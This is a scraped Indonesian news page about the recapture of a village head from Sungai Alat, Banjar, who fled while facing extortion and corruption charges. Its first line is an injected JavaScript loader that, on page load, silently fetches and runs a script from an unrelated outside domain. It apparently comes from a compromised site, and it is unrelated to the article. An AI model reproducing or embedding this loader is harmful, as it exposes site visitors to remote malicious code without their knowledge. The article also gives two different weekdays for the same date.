(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45) yang kabur saat diperiksa berhasil ditangkap tim gabungan Polres Banjar.
Penangkapan dikonfirmasi Kapolres Banjar AKBP M Ifan Hariyat yang dilakukan pada Rabu (26/12/2024).
Dalam keterangan polisi, Kades P ditangkap di tempat persembunyian di Desa Bersujud, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu (Tanbu) setelah 22 hari masa pelarian.
Selain menangkap tersangka, petugas mengamankan satu unit sepeda motor Yamaha Mio warna merah yang digunakan oleh P.
Baca juga: Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin
Dijelaskan penangkapan berawal saat tim gabungan yang terdiri dari Unit Resmob Subdit 3 Ditreskrimum Polda Kalsel, Unit Resmob Polres Banjar, Unit Kamneg Sat Intelkam Polres Banjar, Sat Intelkam Polres Tanah Bumbu, dan Unit Resmob Polres Tanah Bumbu, menerima informasi bahwa P terlihat di wilayah Tanbu.
Polisi bergerak ke lokasi untuk melakukan penyelidikan. Penyisiran dilakukan di sekitar Desa Bersujud pada Rabu (25/12/2024), namun tersangka P tidak ditemukan.
Sehari setelahnya, Kamis (26/12/2024) sekitar pukul 15.00 Wita, polisi kembali menerima informasi bahwa P berada di sebuah langgar di Desa Bersujud.
“Tim gabungan langsung bergerak menuju lokasi dan berhasil mengamankan tersangka tanpa perlawanan,” kata AKBP M Ifan Hariyat.
Baca juga: Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul
Lebih lanjut Kapolres Banjar mengatakan, setelah berhasil dibekuk, tim penyidik kemudian melaksanakan pengiriman tersangka P dan barang bukti atau Tahap II kepada Jaksa Penuntut Umum (JPU) Kejaksaan Negeri (Kejari) Banjar pada Jumat, (27/12/2024) sekitar pukul 14.00 Wita.
Barang bukti terkait dugaan tindak pidana korupsi yang diserahkan bersama tersangka mencakup dokumen-dokumen dan alat bukti lain yang terkait dalam kasus dugaan korupsi ini.
“Pengiriman ini dilakukan dalam rangka proses hukum atas perkara dugaan tindak pidana korupsi berupa pungutan liar yang dilakukan oleh aparat pemerintahan Desa Sungai Alat, Kecamatan Astambul, Kabupaten Banjar, dalam kurun waktu 2021 hingga 2024,” jelasnya.
Tersangka P diduga melanggar pasal 12 huruf e Undang-Undang Republik Indonesia Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.
Baca juga: BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari
“Ini menjadi bukti komitmen aparat penegak hukum dalam menangani kasus hukum secara tegas dan profesional. Tersangka kini akan menghadapi proses hukum sesuai dengan undang-undang yang berlaku,” pungkasnya.
Diketahui, P sebelumnya kabur ketika dilakukan proses tahap II di Kejari Banjar pada 4 Desember 2024 lalu, setelah penyidik Unit Tipikor Polres Banjar menganggap perkaranya lengkap atau P-21.
P yang merupakan tersangka kasus dugaan pungli dan korupsi di Desa Sungai Alat ini memanfaatkan kesempatan melarikan diri saat izin ke toilet di kantor Kejari Banjar.
(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
This website uses cookies.